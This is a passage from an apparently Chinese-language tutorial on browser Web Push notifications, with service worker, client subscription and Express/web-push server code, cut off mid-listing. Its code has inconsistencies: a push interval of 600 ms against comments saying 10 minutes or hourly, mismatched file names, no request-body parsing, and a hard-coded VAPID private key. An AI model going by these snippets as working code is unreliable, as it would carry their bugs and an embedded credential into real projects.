function\">install</span>\n</code></pre>\n<p>&#x9996;&#x5148;&#x6211;&#x4EEC;&#x901A;&#x8FC7;&#x6267;&#x884C; <code>web-push generate-vapid-keys</code>&#x547D;&#x4EE4;&#x751F;&#x6210; VAPIDKeys&#xFF0C;&#x5728; <code>server/config.js</code> &#x6587;&#x4EF6;&#x4E2D;&#x914D;&#x7F6E; VAPIDKeys &#x516C;&#x94A5;&#x548C;&#x79C1;&#x94A5;&#xFF0C;&#x4EE5;&#x53CA;&#x914D;&#x7F6E;  Firebase &#x4E91;&#x670D;&#x52A1;&#xFF08;FCM&#xFF09;&#x751F;&#x6210;&#x7684; <code>GCMAPIkey</code>&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-javascript\">module<span class=\"token punctuation\">.</span>exports <span class=\"token operator\">=</span> <span class=\"token punctuation\">{</span>\n  VAPIDKeys<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">{</span>\n    publicKey<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;&lt;Your Public Key&gt;&apos;</span><span class=\"token punctuation\">,</span>\n    privateKey<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;&lt;Your private Key&gt;&apos;</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>\n  GCMAPIkey<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;FCM Public Key&apos;</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x63A5;&#x4E0B;&#x6765;&#x6211;&#x4EEC;&#x9700;&#x8981;&#x51C6;&#x5907;&#x4E3B;&#x7EBF;&#x7A0B; JS &#x6587;&#x4EF6;&#xFF0C;&#x7528;&#x6765;&#x5B8C;&#x6210;&#x6CE8;&#x518C; Service Worker&#x3001;&#x7533;&#x8BF7;&#x684C;&#x9762;&#x901A;&#x77E5;&#x6743;&#x9650;&#x3001;&#x8BA2;&#x9605;&#x63A8;&#x9001;&#x7B49;&#x7B49;&#x5DE5;&#x4F5C;&#xFF0C;&#x53EF;&#x67E5;&#x770B;&#x793A;&#x4F8B;&#x4E2D; <code>public/script.js</code> &#x6587;&#x4EF6;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// entry.js</span>\n<span class=\"token keyword\">const</span> VAPIDPublicKey <span class=\"token operator\">=</span> <span class=\"token string\">&apos;&lt;Your Public Key&gt;&apos;</span>\n<span class=\"token comment\">// &#x6CE8;&#x518C; service worker &#x5E76;&#x7F13;&#x5B58; registration</span>\n<span class=\"token keyword\">let</span> registration\n<span class=\"token keyword\">function</span> <span class=\"token function\">registerServiceWorker</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">!</span>navigator<span class=\"token punctuation\">.</span>serviceWorker<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">return</span> Promise<span class=\"token punctuation\">.</span><span class=\"token function\">reject</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x7CFB;&#x7EDF;&#x4E0D;&#x652F;&#x6301; service worker&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n\n  <span class=\"token keyword\">return</span> navigator<span class=\"token punctuation\">.</span>serviceWorker<span class=\"token punctuation\">.</span><span class=\"token function\">register</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;/service-worker.js&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">reg</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    registration <span class=\"token operator\">=</span> reg\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token comment\">// &#x7533;&#x8BF7;&#x684C;&#x9762;&#x901A;&#x77E5;&#x6743;&#x9650;</span>\n<span class=\"token keyword\">function</span> <span class=\"token function\">requestNotificationPermission</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x7CFB;&#x7EDF;&#x4E0D;&#x652F;&#x6301;&#x684C;&#x9762;&#x901A;&#x77E5;</span>\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">!</span>window<span class=\"token punctuation\">.</span>Notification<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">return</span> Promise<span class=\"token punctuation\">.</span><span class=\"token function\">reject</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x7CFB;&#x7EDF;&#x4E0D;&#x652F;&#x6301;&#x684C;&#x9762;&#x901A;&#x77E5;&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token keyword\">return</span> Notification<span class=\"token punctuation\">.</span><span class=\"token function\">requestPermission</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">permission</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>permission <span class=\"token operator\">===</span> <span class=\"token string\">&apos;granted&apos;</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">return</span> Promise<span class=\"token punctuation\">.</span><span class=\"token function\">resolve</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n      <span class=\"token punctuation\">}</span>\n      <span class=\"token keyword\">return</span> Promise<span class=\"token punctuation\">.</span><span class=\"token function\">reject</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x7528;&#x6237;&#x5DF2;&#x7981;&#x6B62;&#x684C;&#x9762;&#x901A;&#x77E5;&#x6743;&#x9650;&apos;</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token comment\">// &#x8BA2;&#x9605;&#x63A8;&#x9001;&#x5E76;&#x5C06;&#x8BA2;&#x9605;&#x7ED3;&#x679C;&#x53D1;&#x9001;&#x7ED9;&#x540E;&#x7AEF;</span>\n<span class=\"token keyword\">function</span> <span class=\"token function\">subscribeAndDistribute</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">registration</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">!</span>window<span class=\"token punctuation\">.</span>PushManager<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">return</span> Promise<span class=\"token punctuation\">.</span><span class=\"token function\">reject</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x7CFB;&#x7EDF;&#x4E0D;&#x652F;&#x6301;&#x6D88;&#x606F;&#x63A8;&#x9001;&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token comment\">// &#x68C0;&#x67E5;&#x662F;&#x5426;&#x5DF2;&#x7ECF;&#x8BA2;&#x9605;&#x8FC7;</span>\n  <span class=\"token keyword\">return</span> registration<span class=\"token punctuation\">.</span>pushManager<span class=\"token punctuation\">.</span><span class=\"token function\">getSubscription</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">subscription</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// &#x5982;&#x679C;&#x5DF2;&#x7ECF;&#x8BA2;&#x9605;&#x8FC7;&#xFF0C;&#x5C31;&#x4E0D;&#x91CD;&#x65B0;&#x8BA2;&#x9605;&#x4E86;</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>subscription<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token keyword\">return</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token comment\">// &#x5982;&#x679C;&#x5C1A;&#x672A;&#x8BA2;&#x9605;&#x5219;&#x53D1;&#x8D77;&#x63A8;&#x9001;&#x8BA2;&#x9605;</span>\n    <span class=\"token keyword\">let</span> publicKey <span class=\"token operator\">=</span> <span class=\"token string\">&apos;BLjmecELgzCq4S-fJyRx9j03wvR0yjSs6O13L6qABrj7CadS8689Lvi2iErzG8SeaPSX_ezoyD2O0MMkGZcj4c0&apos;</span>\n\n    <span class=\"token keyword\">return</span> registration<span class=\"token punctuation\">.</span>pushManager<span class=\"token punctuation\">.</span><span class=\"token function\">subscribe</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>\n      userVisibleOnly<span class=\"token punctuation\">:</span> <span class=\"token boolean\">true</span><span class=\"token punctuation\">,</span>\n      applicationServerKey<span class=\"token punctuation\">:</span> <span class=\"token function\">base64ToUint8Array</span><span class=\"token punctuation\">(</span>publicKey<span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n      <span class=\"token comment\">// &#x8BA2;&#x9605;&#x63A8;&#x9001;&#x6210;&#x529F;&#x4E4B;&#x540E;&#xFF0C;&#x5C06;&#x8BA2;&#x9605;&#x4FE1;&#x606F;&#x4F20;&#x7ED9;&#x540E;&#x7AEF;&#x670D;&#x52A1;&#x5668;</span>\n      <span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">subscription</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token function\">distributePushResource</span><span class=\"token punctuation\">(</span>subscription<span class=\"token punctuation\">)</span>\n      <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token keyword\">function</span> <span class=\"token function\">distributePushResource</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">subscription</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x5047;&#x8BBE;&#x540E;&#x7AEF;&#x63A5;&#x6536;&#x5E76;&#x5B58;&#x50A8;&#x8BA2;&#x9605;&#x5BF9;&#x8C61;&#x7684;&#x63A5;&#x53E3;&#x4E3A; &apos;/api/push/subscribe&apos;</span>\n  <span class=\"token keyword\">return</span> <span class=\"token function\">fetch</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;/api/push/subscribe&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">{</span>\n    method<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;post&apos;</span><span class=\"token punctuation\">,</span>\n    body<span class=\"token punctuation\">:</span> <span class=\"token constant\">JSON</span><span class=\"token punctuation\">.</span><span class=\"token function\">stringify</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>\n      endpoint<span class=\"token punctuation\">:</span> subscription<span class=\"token punctuation\">.</span>endpoint<span class=\"token punctuation\">,</span>\n      keys<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">{</span>\n        p256dh<span class=\"token punctuation\">:</span> <span class=\"token function\">uint8ArrayToBase64</span><span class=\"token punctuation\">(</span>subscription<span class=\"token punctuation\">.</span><span class=\"token function\">getKey</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;p256dh&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>\n        auth<span class=\"token punctuation\">:</span> <span class=\"token function\">uint8ArrayToBase64</span><span class=\"token punctuation\">(</span>subscription<span class=\"token punctuation\">.</span><span class=\"token function\">getKey</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;auth&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n      <span class=\"token punctuation\">}</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token comment\">// &#x6CE8;&#x518C; service worker</span>\n<span class=\"token function\">registerServiceWorker</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n  <span class=\"token comment\">// &#x7533;&#x8BF7;&#x684C;&#x9762;&#x901A;&#x77E5;&#x6743;&#x9650;</span>\n  <span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token function\">requestNotificationPermission</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n  <span class=\"token comment\">// &#x8BA2;&#x9605;&#x63A8;&#x9001;</span>\n  <span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token function\">subscribeAndDistribute</span><span class=\"token punctuation\">(</span>registration<span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">.</span><span class=\"token function\">catch</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">err</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>err<span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x5728; <code>public/sw.js</code> &#x6587;&#x4EF6;&#x4E2D;&#xFF0C;&#x505A;&#x597D;&#x63A8;&#x9001;&#x4E8B;&#x4EF6;&#x548C;&#x901A;&#x77E5;&#x70B9;&#x51FB;&#x4E8B;&#x4EF6;&#x7684;&#x76D1;&#x542C;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// &#x76D1;&#x542C; push &#x4E8B;&#x4EF6;</span>\nself<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;push&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">e</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">!</span>e<span class=\"token punctuation\">.</span>data<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">return</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token comment\">// &#x89E3;&#x6790;&#x83B7;&#x53D6;&#x63A8;&#x9001;&#x6D88;&#x606F;</span>\n  <span class=\"token keyword\">let</span> payload <span class=\"token operator\">=</span> e<span class=\"token punctuation\">.</span>data<span class=\"token punctuation\">.</span><span class=\"token function\">json</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n  <span class=\"token comment\">// &#x6839;&#x636E;&#x63A8;&#x9001;&#x6D88;&#x606F;&#x751F;&#x6210;&#x684C;&#x9762;&#x901A;&#x77E5;&#x5E76;&#x5C55;&#x73B0;&#x51FA;&#x6765;</span>\n  <span class=\"token keyword\">let</span> promise <span class=\"token operator\">=</span> self<span class=\"token punctuation\">.</span>registration<span class=\"token punctuation\">.</span><span class=\"token function\">showNotification</span><span class=\"token punctuation\">(</span>payload<span class=\"token punctuation\">.</span>title<span class=\"token punctuation\">,</span> <span class=\"token punctuation\">{</span>\n    body<span class=\"token punctuation\">:</span> payload<span class=\"token punctuation\">.</span>body<span class=\"token punctuation\">,</span>\n    icon<span class=\"token punctuation\">:</span> payload<span class=\"token punctuation\">.</span>icon<span class=\"token punctuation\">,</span>\n    data<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">{</span>\n      url<span class=\"token punctuation\">:</span> payload<span class=\"token punctuation\">.</span>url\n    <span class=\"token punctuation\">}</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n  e<span class=\"token punctuation\">.</span><span class=\"token function\">waitUntil</span><span class=\"token punctuation\">(</span>promise<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// &#x76D1;&#x542C;&#x901A;&#x77E5;&#x70B9;&#x51FB;&#x4E8B;&#x4EF6;</span>\nself<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;notificationclick&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">e</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x5173;&#x95ED;&#x7A97;&#x53E3;</span>\n  e<span class=\"token punctuation\">.</span>notification<span class=\"token punctuation\">.</span><span class=\"token function\">close</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n  <span class=\"token comment\">// &#x6253;&#x5F00;&#x7F51;&#x9875;</span>\n  e<span class=\"token punctuation\">.</span><span class=\"token function\">waitUntil</span><span class=\"token punctuation\">(</span>clients<span class=\"token punctuation\">.</span><span class=\"token function\">openWindow</span><span class=\"token punctuation\">(</span>e<span class=\"token punctuation\">.</span>data<span class=\"token punctuation\">.</span>url<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x7136;&#x540E;&#x6211;&#x4EEC;&#x51C6;&#x5907;&#x4E00;&#x4E2A;&#x7B80;&#x5355;&#x7684; <code>public/index.html</code> &#x6587;&#x4EF6;&#x4F5C;&#x4E3A;&#x524D;&#x7AEF;&#x5165;&#x53E3;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token doctype\">&lt;!DOCTYPE html&gt;</span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>html</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>meta</span> <span class=\"token attr-name\">charset</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>utf-8<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>meta</span> <span class=\"token attr-name\">name</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>viewport<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">content</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>width=device-width,minimum-scale=1,initial-scale=1<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>title</span><span class=\"token punctuation\">&gt;</span></span>Web Push API<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>title</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>body</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>h1</span><span class=\"token punctuation\">&gt;</span></span>&#x4F60;&#x597D;&#xFF0C;&#x5F88;&#x9AD8;&#x5174;&#x8BA4;&#x8BC6;&#x4F60;<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>h1</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span> <span class=\"token attr-name\">src</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>/entry.js<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>body</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>html</span><span class=\"token punctuation\">&gt;</span></span>&gt;\n</code></pre>\n<p>&#x63A5;&#x4E0B;&#x6765;&#x51C6;&#x5907;&#x670D;&#x52A1;&#x7AEF;&#x4EE3;&#x7801; <code>server/index.js</code>&#xFF0C;&#x670D;&#x52A1;&#x7AEF;&#x4EE3;&#x7801;&#x4E3B;&#x8981;&#x505A;&#x4E24;&#x4EF6;&#x4E8B;&#x60C5;&#xFF1A;</p>\n<ol>\n<li>&#x63D0;&#x4F9B;&#x63A5;&#x53E3;&#x5B58;&#x50A8; pushScription &#x5BF9;&#x8C61;&#xFF1B;</li>\n<li>&#x8DD1;&#x5B9A;&#x65F6;&#x4EFB;&#x52A1;&#xFF0C;&#x6BCF;&#x9694;&#x4E00;&#x5C0F;&#x65F6;&#x5C31;&#x5411;&#x6240;&#x6709;&#x8BA2;&#x9605;&#x8FC7;&#x7684;&#x6D4F;&#x89C8;&#x5668;&#x63A8;&#x9001;&#x6D88;&#x606F;&#xFF1B;</li>\n</ol>\n<pre class=\"language-\"><code class=\"lang-javascript\"><span class=\"token comment\">// server.js</span>\n\n<span class=\"token keyword\">const</span> webpush <span class=\"token operator\">=</span> <span class=\"token function\">require</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;web-push&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">const</span> express <span class=\"token operator\">=</span> <span class=\"token function\">require</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;express&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">const</span> path <span class=\"token operator\">=</span> <span class=\"token function\">require</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;path&apos;</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\">// &#x914D;&#x7F6E; web push</span>\nwebpush<span class=\"token punctuation\">.</span><span class=\"token function\">setVapidDetails</span><span class=\"token punctuation\">(</span>\n  <span class=\"token string\">&apos;mailto:your-email@provider.com&apos;</span><span class=\"token punctuation\">,</span>\n  <span class=\"token string\">&apos;BLjmecELgzCq4S-fJyRx9j03wvR0yjSs6O13L6qABrj7CadS8689Lvi2iErzG8SeaPSX_ezoyD2O0MMkGZcj4c0&apos;</span><span class=\"token punctuation\">,</span>\n  <span class=\"token string\">&apos;wNY2Jw8Zcw2wjfsiVzIxQB6K-ZoOkn-MS7fXxoo8w0Y&apos;</span>\n<span class=\"token punctuation\">)</span>\nwebpush<span class=\"token punctuation\">.</span><span class=\"token function\">setGCMAPIKey</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&lt;Your GCM API Key Here&gt;&apos;</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\">// &#x5B58;&#x50A8; pushSubscription &#x5BF9;&#x8C61;</span>\n<span class=\"token keyword\">let</span> pushSubscriptionSet <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Set</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\">// &#x5B9A;&#x65F6;&#x4EFB;&#x52A1;&#xFF0C;&#x6BCF;&#x9694; 10 &#x5206;&#x949F;&#x5411;&#x63A8;&#x9001;&#x670D;&#x52A1;&#x5668;&#x53D1;&#x9001;&#x6D88;&#x606F;</span>\n<span class=\"token function\">setInterval</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>pushSubscriptionSet<span class=\"token punctuation\">.</span>size <span class=\"token operator\">&gt;</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    pushSubscriptionSet<span class=\"token punctuation\">.</span><span class=\"token function\">forEach</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">pushSubscription</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      webpush<span class=\"token punctuation\">.</span><span class=\"token function\">sendNotification</span><span class=\"token punctuation\">(</span>pushSubscription<span class=\"token punctuation\">,</span> <span class=\"token constant\">JSON</span><span class=\"token punctuation\">.</span><span class=\"token function\">stringify</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>\n        title<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;&#x4F60;&#x597D;&apos;</span><span class=\"token punctuation\">,</span>\n        body<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;&#x6211;&#x53EB;&#x674E;&#x96F7;&#xFF0C;&#x5F88;&#x9AD8;&#x5174;&#x8BA4;&#x8BC6;&#x4F60;&apos;</span><span class=\"token punctuation\">,</span>\n        icon<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;https://path/to/icon&apos;</span><span class=\"token punctuation\">,</span>\n        url<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;http://localhost&apos;</span>\n      <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span> <span class=\"token operator\">*</span> <span class=\"token number\">60</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">const</span> app <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">express</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\">// &#x670D;&#x52A1;&#x7AEF;&#x63D0;&#x4F9B;&#x63A5;&#x53E3;&#x63A5;&#x6536;&#x5E76;&#x5B58;&#x50A8; pushSubscription</span>\napp<span class=\"token punctuation\">.</span><span class=\"token function\">post</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;/api/push/subscribe&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">req<span class=\"token punctuation\">,</span> res</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>req<span class=\"token punctuation\">.</span>body<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">try</span> <span class=\"token punctuation\">{</span>\n      pushSubscriptionSet<span class=\"token punctuation\">.</span><span class=\"token function\">add</span><span class=\"token punctuation\">(</span>req<span class=\"token punctuation\">.</span>body<span class=\"token punctuation\">)</span>\n      res<span class=\"token punctuation\">.</span><span class=\"token function\">sendStatus</span><span class=\"token punctuation\">(</span><span class=\"token number\">200</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">}</span> <span class=\"token keyword\">catch</span> <span class=\"token punctuation\">(</span>e<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      res<span class=\"token punctuation\">.</span><span class=\"token function\">sendStatus</span><span class=\"token punctuation\">(</span><span class=\"token number\">403</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">}</span>\n  <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n    res<span class=\"token punctuation\">.</span><span class=\"token function\">sendStatus</span><span class=\"token punctuation\">(</span><span class=\"token number\">403</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\">// &#x9759;&#x6001;&#x8D44;&#x6E90;</span>\napp<span class=\"token punctuation\">.</span><span class=\"token function\">get</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;/&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">req<span class=\"token punctuation\">,</span> res</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  res<span class=\"token punctuation\">.</span><span class=\"token function\">sendFile</span><span class=\"token punctuation\">(</span>path<span class=\"token punctuation\">.</span><span class=\"token function\">resolve</span><span class=\"token punctuation\">(</span>__dirname<span class=\"token punctuation\">,</span> <span class=\"token 